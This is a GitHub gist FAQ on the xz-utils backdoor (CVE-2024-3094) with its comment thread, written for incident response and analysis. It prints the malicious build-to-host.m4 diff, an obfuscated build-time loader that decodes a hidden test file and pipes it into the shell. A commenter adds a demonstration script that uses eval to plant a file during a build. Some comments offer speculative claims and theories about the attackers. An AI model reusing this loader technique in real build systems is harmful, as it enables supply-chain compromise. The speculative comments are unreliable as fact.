Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active October 3, 2024 16:07
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@AdrianBunk
Copy link

@thesamesam Regarding "Solar Designer suggested this may have caused", this might be disproved by 5.6.0 being released and in Debian before the MR:
https://tracker.debian.org/pkg/xz-utils
systemd/systemd#31550

The Debian Import Freeze for Ubuntu LTS on February 29 is something I would consider more likely for the timing of the 5.6.0 release:
https://discourse.ubuntu.com/t/noble-numbat-release-schedule/35649

The next chance of getting the backdoor into an Ubuntu LTS would have been 2026, releasing in February for getting millions of backdoored production machines around the world in May would be a logical plan.

@thesamesam
Copy link
Author

@AdrianBunk Ah, thanks! I remember being subscribed to the systemd PR before all of this and I think that meant I assumed it was older than it was, so I figured the timelines made sense. I'll make those corrections in a minute.

@thesamesam
Copy link
Author

@AdrianBunk Can you check out what I've written now? There's some nuance in it. I think you're right that this makes the theory rather unlikely, although it's interesting that it was first brought up in January.

@AdrianBunk
Copy link

@thesamesam Some thoughts on that:

The "a systemd developer suggested extending the approach to compression libraries" comment was 2 days after the release of 5.6.0, more relevant would be systemd/systemd#31131 (comment)

The timing of 5.6.0 is a good fit for getting into Ubuntu LTS, and that could explain the timing no matter what happened at systemd.

Lennart and Andres are both working at Microsoft, even the reverse direction that some government agency had advance knowledge of the planned backdoor and nudged people in the right direction cannot be ruled out.

@thesamesam
Copy link
Author

thesamesam commented Apr 8, 2024

From my own participation in discussions on IRC, the plan was absolutely to be in the next Ubuntu LTS, btw. Jia pushed for an accelerated release schedule to make it in.

@thesamesam
Copy link
Author

thesamesam commented Apr 8, 2024

@AdrianBunk Many thanks again. I'll try to find somewhere to mention the Ubuntu LTS thing, given it was absolutely true - even if I can't speak to motive. I'd prefer to mention it outside of the systemd thing given that part is getting a bit big and it's not strictly relevant to that, but I am happy to hear dissenting opinions.

@the-lne
Copy link

the-lne commented Apr 9, 2024

Obviously someone would look into performance inconsistencies on an opensource tool of all things. That's like selling a sick dog to a veterinarian. What we did is catch the lowest hanging fruit. There probably are more out there in even more critical tools that we will never know about because who doesn't have something to gain from that. This isn't news, it's writing on the wall and a warning to be a little less trustful. Imagine if he actually knew what he was doing, or what a team of sponsored professionals could do. Hopefully future commits are held to a higher standard on critical applications.

@AdrianBunk
Copy link

@thesamesam Regarding "Checking other projects for similar injection mechanisms", Debian has an online search engine that provides literal and regex searches over up-to-date sources of the 38k packages in Debian unstable like:
https://codesearch.debian.net/search?q=grep+-aErls&literal=1
https://codesearch.debian.net/search?q=Automake+1.10a&literal=1

I checked interesting strings from the manipulated build-to-host.m4, and there was nothing that looked suspicious to me.

@felipec
Copy link

felipec commented Apr 10, 2024

This one is really complete: The xz attack shell script, it shouldn't be "other".

@christoofar
Copy link

christoofar commented Apr 10, 2024

I sent the initial versions of the RISC-V filter to Lasse last year and quit the development afterwards, that's why I was acknowledged in the library code. If only I had CCed the mailing list.

Why push the RISC-V filter and new version of lzma? (1) Bouffalo Lab has a series of RISC-V SoCs, See Products (2) They are using lzma Python module in their flash tool to generate OTA images, See BLDevCube using lzma. (3) The lzma BCJ filters can improve compression ratio (4) Compression ratio matters, saved flash size is profit (5) If Python has upstream support for RISC-V filters, they do not need to bother maintaining binary shit like the used genromfs tool, See BLDevCube calling bundled genromfs binary (6) They may also use lzma in other languages, thus the push on xz-embedded and Rust binding library.

About the name I chose Chien Wong simply because I like it and dislike Pinyin. Pinyin does not suggest correct pronunciation to non-mandarin speakers.

About the ongoing CPython PR binary test file The reason I chose them is easy: why not use upstream test vectors if upstream has them? However, it turns out that the choice was arbitrary and wrong.

My advice is to write to Bouffalo Lab for confirmation.

I have updated my profile to show organizations. I'd hide it any time if I like.

He also committed a several changes to Wireshark in 2022 and 2023, it looks like several commits for wireshark's wifi 802.11 handling, to meet the spec more accurately, to add a new capability to it for ipv6, and to fix a bug. I'm not a 802.11 expert, but the code doesn't look unsafe at a cursory glance for the most part.
There's some rework in this commit to address A-MSDU dissecting that is addressing the padding for the last packet. This seems plausible to me, but again, I don't know enough about 802.11.

Thank you for reviewing the commits I've made!

In my personal opinion,based on the current evidence of long-term lurking and preparation,it can be inferred that this individual has motives and plans,thinks clearly and cautiously,and the information related to their background and daily routine may be distorted or manipulated。Any records left behind could potentially be intentional。

不要见着风,是得雨。

The filter flag changes made to xz have been run down (S/O to https://github.com/smx-smx/xzre for assembling the best puzzle piece reconstruct https://smx-smx.github.io/xzre/globals.html) allowing so many more people to jump into disassemblers to figure out this puzzle.

Note: People keep saying (wrongly) that sshd is compromised. There's always room for improvement in anything. sshd is not how this nasty thing gets on a machine. It does exploit both systemd and ld in concert so that when systemd launches a fork(), it grabs a hold of ld for its audit hook and reads through the rest of the load. From there it can replace any function in memory that it wants.

It's a hotloader delivery platform that can target any process in Linux. The entire memory of the computer is its oyster.

All that work you made hashing credit card digits info before storing them in db2? Who cares, liblzma.so if the creators want, can kick a new variant on to your host and read it.

The data types used to support the flags is how the backdoor finds a way to maintain state in memory and not be seen. The RISCV option added to lzma was done in the publicly visible code, and the refactor of lzma, to hide small adjustments that allow nasty structures like lzma_vdi but other data structures in lzma to be used to hold areas in memory, use x64 dasm against areas of the entire process space including everything systemd manages, copies out and replaces what should have been static code set to ro, it hijacks ld way earlier that thought (and it hijacks itself), so all the data structures in liblzma.so can be used to hold hard things to construct, like function tables scanning both the ABI and LD_AUDIT to verify its work, and push that into its own reserved areas and escape observation.

Why don't you show us some proofs @ivq that the changes you wanted into CPython would give you a performance boost? Did you verify that on your own testbed? How about you post your results, here.

image

So, that 5.6.0 to 5.6.1 update Jia Tan put out? RE effort exposed the loading/init pathway where the code is trying to erase what's probably an examine tool (my theory), which is another hotloaded side-car that they use locally to debug and keep track of the integration as they continue to layer more techniques to thwart analysis. How does that happen? Well, the crash from valgrind came from the microlzma function.

Talking out the ASM by hand the RE team learned that it was not nuking in its own stack area. It was trying to erase an adjacent stack area. Because liblzma.so can walk the ELF and the memory space to find the offsets for the calls it wants to use, this indicates that there's more than one build process:

  • The one we see in the distros
  • Another one baking the toxic .o injectors

A mismatch in feature flags running the build for the injectors is why Jia had to hustle, because Jia (who's really a whole team of people) did not know that valgrind is run before some OSS developers releases.

Full report on the top-level symbol differences between the .0 and .1 crc_64 injectors are here:
https://jiatanfunctions.tiiny.site/

@DaLynxx
Copy link

DaLynxx commented Apr 10, 2024

xz @ github is available again. https://github.com/tukaani-project

@christoofar
Copy link

christoofar commented Apr 10, 2024

Right now @ivq I don't believe your word salad without showing some RISCV proofs against a direct invocation of 5.6.0 or 5.6.1

Pull out your RISCV board and do a time test and post it here, then.

Anyway... both the encoder initter and decoder initter got this harmless looking adjustment that, in the decoder, is not used at all and is only meant by Lasse to report out completed results of decompression. But with the right compile options it survives being removed. Since the filter options themselves are a travel point every point in code, guess where the pointers to the backdoor go?

The harmless looking filter flags update are critical to activating the backdoor, there's so many data structures to hijack inside lzma; some so handy that simpler types without promoting them into pointers is not needed. You essentially have your own database.

Which is what lzma_vli probably will be promoted to someday in a server hotpatch, who the hell knows.

image

@DaLynxx
Copy link

DaLynxx commented Apr 10, 2024

Also https://xz.tukaani.org/xz-utils/ no longer responds. (affects link under chapter 'Background')

@christoofar
Copy link

christoofar commented Apr 10, 2024

Most HLL programmers are just gonna go "huh?" because they cannot understand the concept in their minds that when you leave an area of memory loaded with your porn stash without wiping it and just zero the pointer out, your porn history table still sits there in RAM.

Now Jia can read it.

There's still no idea how much is left to find. I'm reliving my Compaq Deskpro 8086 days which was the last time I wrote asm, I don't know a thing about x64 asm beyond just the register sizes and effects (and some of the original x86 opcodes), there is so much more to discover.

liblzma.so is both a nightmare, and a masterpiece of layered integration. And the thing is fucking evil.

Fucking. Evil.

P.P.S.: All the credit to everyone helping out on the re. I'm not a security huckster and shilling corps with CBT videos. I have done integrations of weird shit to normal shit my whole career, and pulling out and sussing through crashdumps, register readouts, logs and any other evidence I can get my hands on when I get stuck and have to produce the normie-version of events and developers are trying to throw shit over the wall back on to developers who have no control on their side of the fence have solid ammo to fire back with. "They broke our shit" is what gets me going.

When I'm coming for you with a diff report, run.

@christoofar
Copy link

christoofar commented Apr 10, 2024

Oh, cool bin trick from fiddling with game roms:

compact a bin (gz will do in many cases, not all but most). You can spot where data goes and where code goes when the compaction removes away all the 00 FF patterns left around for initializers. It only works for empties, but in corpland and especially in C++ there's monster data structures that compact to almost nothing.

In Jia Tan's case, the function delete reorders everything that survived, resulting in a byte slide that picks up well on the radar.

You already have a bindiff analyzer on your box. It's in emacs (the other malware you can get from the distros). It's a neat trick when a vendor sends something and I need a clue of how "big" their changes were, generally-speaking, they keep 9 layers of mis-management away from me and the other team actually doing the work, and to sense when they aren't talking but the bins they're walking indicate they're doing a refactor job on the inside.

Jia again:
image

@terokinnunen
Copy link

@Chestnuts4 Hi. Are you looking for the safe/original/non-tampered version of build-to-host.m4? You can get this from gnulib. It might be in /usr/share/aclocal on your system if you have recent gettext installed too.

Thanks, I was puzzled about this too for quite a while. Just an idea - pointer to legit upstream https://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=blob;f=m4/build-to-host.m4;h=f466bdbd84abdf60e8305fa7adc12c74d7f05a8a;hb=HEAD would be helpful clarification here.
(Probably the TODO item "Explain dist tarballs" will cover this later (?), but until then, a quick pointer in Design section would clarify a lot.)

@christoofar
Copy link

christoofar commented Apr 10, 2024

🤔

Any particular reason Jia Tan why you nuked this whole area and in its place is the execution path that takes you to the backdoor?

image

image

@rybak
Copy link

rybak commented Apr 10, 2024

FYI, the malicious commits (the in-repository portion of the backdoor) were reverted: e93e13c (Remove the backdoor found in 5.6.0 and 5.6.1 (CVE-2024-3094)., 2024-04-08).

@thesamesam
Copy link
Author

I'll try respond to the above comments which need me to make changes later today. Thanks.

@roccotanica1234
Copy link

Jia Tan's account, associated to jiat0218@gmail.com on Twitter is: https://twitter.com/JiaT03868010 (I haven't find it mentioned anywhere)

@flybyray
Copy link

What is "this"? xz_wrap was recently changed by Lesse, but the changes are reasonable and do not introduce any new eval; the options are consistent with manpage recommendations. The Makefiles were recently changed for version and other reasons, not much to do with xz.

cmd_xzkern = cat $(real-prereqs) | sh $(srctree)/scripts/xz_wrap.sh > $@

ref: https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/tree/scripts/Makefile.lib?h=next-20240328#n528

which is quite different from all other compression tools.
Because it does not pipe directly into the xz tool. it uses an additional process sh in the hiarchy. sh provides additional insight via environment variables for child processes.
The whole thing has nothing to do with stripped down xz decompression code within the kernel.
The call goes into what is packaged in the kernel build environment for $XZ.

eval "$($XZ --robot --version)" || exit

ref: https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/tree/scripts/xz_wrap.sh?h=next-20240328#n36

When you follow @christoofar lookups you may notice that $XZ might work differently when it detects specific things.
$XZ for sure is linked to liblzma.so.

@Artoria2e5
Copy link

And my dear Ray, there’s already a NON-MALICIOUS EXPLANATION as to why an sh is used: it turns on the bcj flags.

@flybyray
Copy link

And my dear Ray, there’s already a NON-MALICIOUS EXPLANATION as to why an sh is used: it turns on the bcj flags.

Better safe than sorry. Ask yourself what a NON-*-EXPLANATION is worth. Especially an explanation which is at all wrong - shows just that supplier has no experience.

@Artoria2e5
Copy link

Artoria2e5 commented Apr 12, 2024

sh provides additional insight via environment variables for child processes.

It also does not, because the shell script in question does not export anything new to the environment. The shell only changes envp in three circumstances:

  • when a new variable is explicitly added to envp via "export" or "declare -x"
  • when a variable is explicitly de-exported, say by running declare +x
  • when an already-exported variable, such as PATH, is changed or unset

Otherwise every variable change stays local to the shell process.

The only additional "insight" is just the well-documented BCJ and lzma alignment parameters.

Maybe a doubt that is "at all wrong" also shows the doubter has no experience?

@paulfloyd
Copy link

paulfloyd commented Apr 12, 2024

Has anyone done any detailed examination of the exact cause of the Valgrind errors that Freund (and Fedora and maybe other distros) saw?

https://bugzilla.redhat.com/show_bug.cgi?id=2267598

I'm mainly curious about the strange stack addresses like 0x6 and 0x77AD31E59B84CFFF. The persons responsible did try to cover up by adding an option to turn off omit-frame-pointer. Does the exploit assume the use of the frame pointer, and if it isn't there gets the stack layout wrong and writes below the stack pointer? (Below literally means below as in address less than RSP, not from the inverted view of the grow-down stack. But not as far below as the stack guard). omit-frame-pointer may also be affecting Valgrind's stack walking.

@flybyray
Copy link

flybyray commented Apr 12, 2024

Maybe a doubt that is "at all wrong" also shows the doubter has no experience?

Polite as you are, you used " maybe". Politeness won't help you against a criminal hacker's ideas. The experiences of doubters are often worth more than those of so-called fact-checkers.

because the shell script in question does not export anything new to the environment

if you waited patiently after reading carefully until you really understood what you had read, without ignoring the meaning of the words, you could avoid misinterpretations and make fewer inference errors.
I wrote "insight via environment variables for CHILD processes". How dare are you that you then talk about "does not export anything new to the environment"? I wish you would rather fantasize about the similarity between eval and evil.

have you really understood only some of the attack patterns that have already been discussed here? because of course the attackers in a build process don't care about changing the environment! just think about how many places environment variables could appear in logs and the hide-and-seek game would end immediately. I would recommend to you, that you inspect some public build servers and their artifacts and detailed outputs of builds.

The trick is to leave artifacts in the right places as inconspicuously as possible during the build process.

But I'm not giving up on you yet. Let's start by making the bold printed a little clearer.
The following should only use the fragments highlighted in the leading comment as a sample. I didn't develop xz, so I'm replacing it with sh. I can't use the --robot --version arguments, but they are almost irrelevant.

# this is only pretext normally provided by the task to build the kernel
TEMPDIR="$(mktemp -du)"
mkdir -p $TEMPDIR/Artoria2e5/mykernel/scripts
mkdir -p $TEMPDIR/Artoria2e5/mykernel/prereqs
srctree=$TEMPDIR/Artoria2e5/mykernel
pre_reqs="$TEMPDIR/Artoria2e5/mykernel/prereqs/a.txt"
XZ=sh
export XZ
echo please cleanup $TEMPDIR when you are done
cat >"$TEMPDIR/Artoria2e5/mykernel/prereqs/a.txt"<<'EOF'
lorem ipsum and some intersting pointers to CANCER
EOF
cat >"$TEMPDIR/Artoria2e5/mykernel/scripts/xz_wrap.sh"<<'EOF'
eval "$($XZ -c 'TARGET_DIR='$(dirname ${BASH_SOURCE[0]})/..';echo STEVE_S_LATE_REVENGE_FOR_LINUX="$(grep -Po '\''pointers to \K\S+'\'')";echo $'\''X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'\''> ${TARGET_DIR}/blob.txt')" || exit
#this is just to make it easier to understand the above XZ command would be able to produce this too
echo a $STEVE_S_LATE_REVENGE_FOR_LINUX that attaches itself in an intellectual property sense to everything it touches
EOF

# now we are going to "build the kernel" - show casing just relevant maybe malicious part
# original 'cmd_xzkern = cat $(real-prereqs) | sh $(srctree)/scripts/xz_wrap.sh > $@' 
cat ${pre_reqs} | sh ${srctree}/scripts/xz_wrap.sh > a_message_to_the_linux_people.txt
# finished nothing special to see

# verify that the build context was modified
cat a_message_to_the_linux_people.txt
find $TEMPDIR -type f -name blob.txt -exec cat {} \;

# cleanup
rm -rvf $TEMPDIR

unfortunately, based on your reading comprehension, i have to assume that you still won't understand. but maybe there are a few others who can help you further.
The verify step would show you

  • 'cat a_message_to_the_linux_people.txt'
a CANCER that attaches itself in an intellectual property sense to everything it touches
  • 'find $TEMPDIR -type f -name blob.txt -exec cat {} ;' # a nice blob placed into srctree
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

i have done my duty and shown good will

@dnorthup-ums
Copy link

Has anyone done any detailed examination of the exact cause of the Valgrind errors that Freund (and Fedora and maybe other distros) saw?

https://bugzilla.redhat.com/show_bug.cgi?id=2267598

I'm mainly curious about the strange stack addresses like 0x6 and 0x77AD31E59B84CFFF. The persons responsible did try to cover up by adding an option to turn off omit-frame-pointer. Does the exploit assume the use of the frame pointer, and if it isn't there gets the stack layout wrong and writes below the stack pointer? (Below literally means below as in address less than RSP, not from the inverted view of the grow-down stack. But not as far below as the stack guard). omit-frame-pointer may also be affecting Valgrind's stack walking.

@paulfloyd The 0x6 address is pretty easy, that's evidence of something being compiled with the -fPIE compile time flag set, something the build scripts of xz-utils do not do (including the compromised ones). As for the 64-bit 0x77... or 0xDD2A.... addresses, it looks to me like something is trying to be clever and take advantage of the "hole" between typical user space and kernel space when injecting the payload via ifunc. I suspect if you look at one of the disassembly attempts of the exploit you'll get more insight into what is going on there and why those are important (as noted, I strongly suspect they are).

@AdrianBunk
Copy link

Maybe a doubt that is "at all wrong" also shows the doubter has no experience?

Polite as you are, you used " maybe". Politeness won't help you against a criminal hacker's ideas. The experiences of doubters are often worth more than those of so-called fact-checkers.

if you waited patiently after reading carefully until you really understood what you had read, without ignoring the meaning of the words, you could avoid misinterpretations and make fewer inference errors.

@flybyray Conspiracy theories and insults from people like you are not helpful.

A huge amount of people all over the world who are highly competent in this area have been working on dissecting this exploit for 2 weeks, anyone who claims to have found something new on the technical side here in this discussion only demonstrates being clueless.

Please stop it.

@AdrianBunk
Copy link

AdrianBunk commented Apr 12, 2024

The 0x6 address is pretty easy, that's evidence of something being compiled with the -fPIE compile time flag set, something the build scripts of xz-utils do not do (including the compromised ones).

All major distributions (including Debian) changed their compiler to default to PIE several years ago for ASLR.

@christoofar
Copy link

christoofar commented Apr 13, 2024

Has anyone done any detailed examination of the exact cause of the Valgrind errors that Freund (and Fedora and maybe other distros) saw?

https://bugzilla.redhat.com/show_bug.cgi?id=2267598

